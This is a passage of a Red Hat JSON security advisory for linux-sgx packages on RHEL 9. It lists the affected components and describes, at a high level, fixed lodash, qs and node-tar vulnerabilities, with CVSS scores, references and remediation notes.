"full_product_name": {
"name": "sgx-common-0:2.26-7.el9.x86_64 as a component of Red Hat Enterprise Linux AppStream (v. 9)",
"product_id": "AppStream-9.8.0.GA:sgx-common-0:2.26-7.el9.x86_64"
},
"product_reference": "sgx-common-0:2.26-7.el9.x86_64",
"relates_to_product_reference": "AppStream-9.8.0.GA"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "sgx-enclave-devel-debuginfo-0:2.26-7.el9.x86_64 as a component of Red Hat Enterprise Linux AppStream (v. 9)",
"product_id": "AppStream-9.8.0.GA:sgx-enclave-devel-debuginfo-0:2.26-7.el9.x86_64"
},
"product_reference": "sgx-enclave-devel-debuginfo-0:2.26-7.el9.x86_64",
"relates_to_product_reference": "AppStream-9.8.0.GA"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "sgx-libs-0:2.26-7.el9.x86_64 as a component of Red Hat Enterprise Linux AppStream (v. 9)",
"product_id": "AppStream-9.8.0.GA:sgx-libs-0:2.26-7.el9.x86_64"
},
"product_reference": "sgx-libs-0:2.26-7.el9.x86_64",
"relates_to_product_reference": "AppStream-9.8.0.GA"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "sgx-libs-debuginfo-0:2.26-7.el9.x86_64 as a component of Red Hat Enterprise Linux AppStream (v. 9)",
"product_id": "AppStream-9.8.0.GA:sgx-libs-debuginfo-0:2.26-7.el9.x86_64"
},
"product_reference": "sgx-libs-debuginfo-0:2.26-7.el9.x86_64",
"relates_to_product_reference": "AppStream-9.8.0.GA"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "sgx-mpa-0:2.26-7.el9.x86_64 as a component of Red Hat Enterprise Linux AppStream (v. 9)",
"product_id": "AppStream-9.8.0.GA:sgx-mpa-0:2.26-7.el9.x86_64"
},
"product_reference": "sgx-mpa-0:2.26-7.el9.x86_64",
"relates_to_product_reference": "AppStream-9.8.0.GA"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "sgx-mpa-debuginfo-0:2.26-7.el9.x86_64 as a component of Red Hat Enterprise Linux AppStream (v. 9)",
"product_id": "AppStream-9.8.0.GA:sgx-mpa-debuginfo-0:2.26-7.el9.x86_64"
},
"product_reference": "sgx-mpa-debuginfo-0:2.26-7.el9.x86_64",
"relates_to_product_reference": "AppStream-9.8.0.GA"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "sgx-pccs-0:2.26-7.el9.x86_64 as a component of Red Hat Enterprise Linux AppStream (v. 9)",
"product_id": "AppStream-9.8.0.GA:sgx-pccs-0:2.26-7.el9.x86_64"
},
"product_reference": "sgx-pccs-0:2.26-7.el9.x86_64",
"relates_to_product_reference": "AppStream-9.8.0.GA"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "sgx-pccs-admin-0:2.26-7.el9.x86_64 as a component of Red Hat Enterprise Linux AppStream (v. 9)",
"product_id": "AppStream-9.8.0.GA:sgx-pccs-admin-0:2.26-7.el9.x86_64"
},
"product_reference": "sgx-pccs-admin-0:2.26-7.el9.x86_64",
"relates_to_product_reference": "AppStream-9.8.0.GA"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "sgx-pccs-debuginfo-0:2.26-7.el9.x86_64 as a component of Red Hat Enterprise Linux AppStream (v. 9)",
"product_id": "AppStream-9.8.0.GA:sgx-pccs-debuginfo-0:2.26-7.el9.x86_64"
},
"product_reference": "sgx-pccs-debuginfo-0:2.26-7.el9.x86_64",
"relates_to_product_reference": "AppStream-9.8.0.GA"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "sgx-pckid-tool-0:2.26-7.el9.x86_64 as a component of Red Hat Enterprise Linux AppStream (v. 9)",
"product_id": "AppStream-9.8.0.GA:sgx-pckid-tool-0:2.26-7.el9.x86_64"
},
"product_reference": "sgx-pckid-tool-0:2.26-7.el9.x86_64",
"relates_to_product_reference": "AppStream-9.8.0.GA"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "sgx-pckid-tool-debuginfo-0:2.26-7.el9.x86_64 as a component of Red Hat Enterprise Linux AppStream (v. 9)",
"product_id": "AppStream-9.8.0.GA:sgx-pckid-tool-debuginfo-0:2.26-7.el9.x86_64"
},
"product_reference": "sgx-pckid-tool-debuginfo-0:2.26-7.el9.x86_64",
"relates_to_product_reference": "AppStream-9.8.0.GA"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "tdx-attest-libs-debuginfo-0:2.26-7.el9.x86_64 as a component of Red Hat Enterprise Linux AppStream (v. 9)",
"product_id": "AppStream-9.8.0.GA:tdx-attest-libs-debuginfo-0:2.26-7.el9.x86_64"
},
"product_reference": "tdx-attest-libs-debuginfo-0:2.26-7.el9.x86_64",
"relates_to_product_reference": "AppStream-9.8.0.GA"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "tdx-qgs-0:2.26-7.el9.x86_64 as a component of Red Hat Enterprise Linux AppStream (v. 9)",
"product_id": "AppStream-9.8.0.GA:tdx-qgs-0:2.26-7.el9.x86_64"
},
"product_reference": "tdx-qgs-0:2.26-7.el9.x86_64",
"relates_to_product_reference": "AppStream-9.8.0.GA"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "tdx-qgs-debuginfo-0:2.26-7.el9.x86_64 as a component of Red Hat Enterprise Linux AppStream (v. 9)",
"product_id": "AppStream-9.8.0.GA:tdx-qgs-debuginfo-0:2.26-7.el9.x86_64"
},
"product_reference": "tdx-qgs-debuginfo-0:2.26-7.el9.x86_64",
"relates_to_product_reference": "AppStream-9.8.0.GA"
}
]
},
"vulnerabilities": [
{
"cve": "CVE-2025-13465",
"cwe": {
"id": "CWE-1321",
"name": "Improperly Controlled Modification of Object Prototype Attributes (\u0027Prototype Pollution\u0027)"
},
"discovery_date": "2026-01-21T20:01:28.774829+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2431740"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Lodash. A prototype pollution vulnerability in the _.unset and _.omit functions allows an attacker able to control property paths to delete methods from global prototypes. By removing essential functionalities, this can result in a denial of service.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "lodash: prototype pollution in _.unset and _.omit functions",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This issue is only exploitable by applications using the _.unset and _.omit functions on an object and allowing user input to determine the path of the property to be removed. This issue only allows the deletion of properties but does not allow overwriting their behavior, limiting the impact to a denial of service. Due to this reason, this vulnerability has been rated with an important severity.\n\nIn Grafana, JavaScript code runs only in the browser, while the server side is all Golang. Therefore, the worst-case scenario is a loss of functionality in the client application inside the browser. To reflect this, the CVSS availability metric and the severity of the Grafana and the Grafana-PCP component have been updated to low and moderate, respectively.\n\nThe lodash dependency is bundled and used by the pcs-web-ui component of the PCS package. In Red Hat Enterprise Linux 8.10, the pcs-web-ui component is no longer included in the PCS package. As a result, RHEL 8.10 does not ship the vulnerable lodash component within PCS and is therefore not-affected by this CVE.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"AppStream-9.8.0.GA:linux-sgx-0:2.26-7.el9.src",
"AppStream-9.8.0.GA:linux-sgx-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:linux-sgx-debugsource-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-common-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-enclave-devel-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-libs-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-libs-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-mpa-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-mpa-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pccs-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pccs-admin-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pccs-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pckid-tool-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pckid-tool-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:tdx-attest-libs-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:tdx-qgs-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:tdx-qgs-debuginfo-0:2.26-7.el9.x86_64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2025-13465"
},
{
"category": "external",
"summary": "RHBZ#2431740",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2431740"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2025-13465",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-13465"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2025-13465",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13465"
},
{
"category": "external",
"summary": "https://github.com/lodash/lodash/security/advisories/GHSA-xxjr-mmjv-4gpg",
"url": "https://github.com/lodash/lodash/security/advisories/GHSA-xxjr-mmjv-4gpg"
}
],
"release_date": "2026-01-21T19:05:28.846000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-05-19T13:54:50+00:00",
"details": "For details on how to apply this update, which includes the changes described in this advisory, refer to:\n\nhttps://access.redhat.com/articles/11258",
"product_ids": [
"AppStream-9.8.0.GA:linux-sgx-0:2.26-7.el9.src",
"AppStream-9.8.0.GA:linux-sgx-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:linux-sgx-debugsource-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-common-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-enclave-devel-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-libs-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-libs-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-mpa-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-mpa-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pccs-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pccs-admin-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pccs-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pckid-tool-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pckid-tool-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:tdx-attest-libs-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:tdx-qgs-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:tdx-qgs-debuginfo-0:2.26-7.el9.x86_64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:18868"
},
{
"category": "workaround",
"details": "To mitigate this issue, implement strict input validation before passing any property paths to the _.unset and _.omit functions to block attempts to access the prototype chain. Ensure that strings like __proto__, constructor and prototype are blocked, for example.",
"product_ids": [
"AppStream-9.8.0.GA:linux-sgx-0:2.26-7.el9.src",
"AppStream-9.8.0.GA:linux-sgx-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:linux-sgx-debugsource-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-common-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-enclave-devel-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-libs-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-libs-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-mpa-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-mpa-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pccs-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pccs-admin-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pccs-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pckid-tool-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pckid-tool-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:tdx-attest-libs-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:tdx-qgs-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:tdx-qgs-debuginfo-0:2.26-7.el9.x86_64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.2,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H",
"version": "3.1"
},
"products": [
"AppStream-9.8.0.GA:linux-sgx-0:2.26-7.el9.src",
"AppStream-9.8.0.GA:linux-sgx-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:linux-sgx-debugsource-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-common-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-enclave-devel-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-libs-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-libs-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-mpa-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-mpa-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pccs-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pccs-admin-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pccs-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pckid-tool-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pckid-tool-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:tdx-attest-libs-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:tdx-qgs-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:tdx-qgs-debuginfo-0:2.26-7.el9.x86_64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "lodash: prototype pollution in _.unset and _.omit functions"
},
{
"cve": "CVE-2025-15284",
"cwe": {
"id": "CWE-770",
"name": "Allocation of Resources Without Limits or Throttling"
},
"discovery_date": "2025-12-29T23:00:58.541337+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2425946"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in qs, a module used for parsing query strings. A remote attacker can exploit an improper input validation vulnerability by sending specially crafted HTTP requests that use bracket notation (e.g., `a[]=value`). This bypasses the `arrayLimit` option, which is designed to limit the size of parsed arrays and prevent resource exhaustion. Successful exploitation can lead to memory exhaustion, causing a Denial of Service (DoS) where the application crashes or becomes unresponsive, making the service unavailable to users.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "qs: qs: Denial of Service via improper input validation in array parsing",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This vulnerability is rated Important for Red Hat products that utilize the `qs` module for parsing query strings, particularly when processing user-controlled input with bracket notation. The `arrayLimit` option, intended to prevent resource exhaustion, is bypassed when bracket notation (`a[]=value`) is used, allowing a remote attacker to cause a denial of service through memory exhaustion. This can lead to application crashes or unresponsiveness, making the service unavailable.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"AppStream-9.8.0.GA:linux-sgx-0:2.26-7.el9.src",
"AppStream-9.8.0.GA:linux-sgx-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:linux-sgx-debugsource-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-common-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-enclave-devel-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-libs-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-libs-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-mpa-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-mpa-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pccs-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pccs-admin-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pccs-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pckid-tool-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pckid-tool-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:tdx-attest-libs-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:tdx-qgs-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:tdx-qgs-debuginfo-0:2.26-7.el9.x86_64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2025-15284"
},
{
"category": "external",
"summary": "RHBZ#2425946",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2425946"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2025-15284",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-15284"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2025-15284",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-15284"
},
{
"category": "external",
"summary": "https://github.com/ljharb/qs/commit/3086902ecf7f088d0d1803887643ac6c03d415b9",
"url": "https://github.com/ljharb/qs/commit/3086902ecf7f088d0d1803887643ac6c03d415b9"
},
{
"category": "external",
"summary": "https://github.com/ljharb/qs/security/advisories/GHSA-6rw7-vpxm-498p",
"url": "https://github.com/ljharb/qs/security/advisories/GHSA-6rw7-vpxm-498p"
}
],
"release_date": "2025-12-29T22:56:45.240000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-05-19T13:54:50+00:00",
"details": "For details on how to apply this update, which includes the changes described in this advisory, refer to:\n\nhttps://access.redhat.com/articles/11258",
"product_ids": [
"AppStream-9.8.0.GA:linux-sgx-0:2.26-7.el9.src",
"AppStream-9.8.0.GA:linux-sgx-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:linux-sgx-debugsource-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-common-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-enclave-devel-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-libs-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-libs-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-mpa-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-mpa-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pccs-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pccs-admin-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pccs-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pckid-tool-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pckid-tool-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:tdx-attest-libs-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:tdx-qgs-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:tdx-qgs-debuginfo-0:2.26-7.el9.x86_64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:18868"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
"product_ids": [
"AppStream-9.8.0.GA:linux-sgx-0:2.26-7.el9.src",
"AppStream-9.8.0.GA:linux-sgx-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:linux-sgx-debugsource-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-common-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-enclave-devel-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-libs-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-libs-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-mpa-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-mpa-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pccs-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pccs-admin-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pccs-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pckid-tool-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pckid-tool-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:tdx-attest-libs-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:tdx-qgs-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:tdx-qgs-debuginfo-0:2.26-7.el9.x86_64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"AppStream-9.8.0.GA:linux-sgx-0:2.26-7.el9.src",
"AppStream-9.8.0.GA:linux-sgx-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:linux-sgx-debugsource-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-common-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-enclave-devel-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-libs-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-libs-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-mpa-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-mpa-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pccs-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pccs-admin-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pccs-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pckid-tool-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pckid-tool-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:tdx-attest-libs-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:tdx-qgs-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:tdx-qgs-debuginfo-0:2.26-7.el9.x86_64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "qs: qs: Denial of Service via improper input validation in array parsing"
},
{
"cve": "CVE-2026-23745",
"cwe": {
"id": "CWE-22",
"name": "Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)"
},
"discovery_date": "2026-01-16T23:01:26.508727+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2430538"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in the node-tar library. This vulnerability allows an attacker to craft malicious archives that, when extracted, can bypass intended security restrictions. This leads to arbitrary file overwrite and symlink poisoning, potentially allowing unauthorized modification of files on the system.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "node-tar: tar: node-tar: Arbitrary file overwrite and symlink poisoning via unsanitized linkpaths in archives",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This vulnerability is rated Important for Red Hat products that utilize the node-tar library. The flaw allows an attacker to perform arbitrary file overwrite and symlink poisoning by crafting malicious tar archives. This occurs due to insufficient path sanitization of hardlink and symbolic link entries, even when the default secure behavior (preservePaths is false) is enabled.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"AppStream-9.8.0.GA:linux-sgx-0:2.26-7.el9.src",
"AppStream-9.8.0.GA:linux-sgx-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:linux-sgx-debugsource-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-common-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-enclave-devel-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-libs-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-libs-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-mpa-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-mpa-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pccs-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pccs-admin-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pccs-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pckid-tool-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pckid-tool-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:tdx-attest-libs-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:tdx-qgs-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:tdx-qgs-debuginfo-0:2.26-7.el9.x86_64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-23745"
},
{
"category": "external",
"summary": "RHBZ#2430538",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2430538"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-23745",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-23745"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-23745",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23745"
},
{
"category": "external",
"summary": "https://github.com/isaacs/node-tar/commit/340eb285b6d986e91969a1170d7fe9b0face405e",
"url": "https://github.com/isaacs/node-tar/commit/340eb285b6d986e91969a1170d7fe9b0face405e"
},
{
"category": "external",
"summary": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8qq5-rm4j-mr97",
"url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8qq5-rm4j-mr97"
}
],
"release_date": "2026-01-16T22:00:08.769000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-05-19T13:54:50+00:00",
"details": "For details on how to apply this update, which includes the changes described in this advisory, refer to:\n\nhttps://access.redhat.com/articles/11258",
"product_ids": [
"AppStream-9.8.0.GA:linux-sgx-0:2.26-7.el9.src",
"AppStream-9.8.0.GA:linux-sgx-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:linux-sgx-debugsource-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-common-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-enclave-devel-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-libs-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-libs-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-mpa-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-mpa-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pccs-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pccs-admin-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pccs-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pckid-tool-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:sgx-pckid-tool-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:tdx-attest-libs-debuginfo-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:tdx-qgs-0:2.26-7.el9.x86_64",
"AppStream-9.8.0.GA:tdx-qgs-debuginfo-0:2.26-7.el9.x86_64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:18868"
},
{
"category": "workaround",
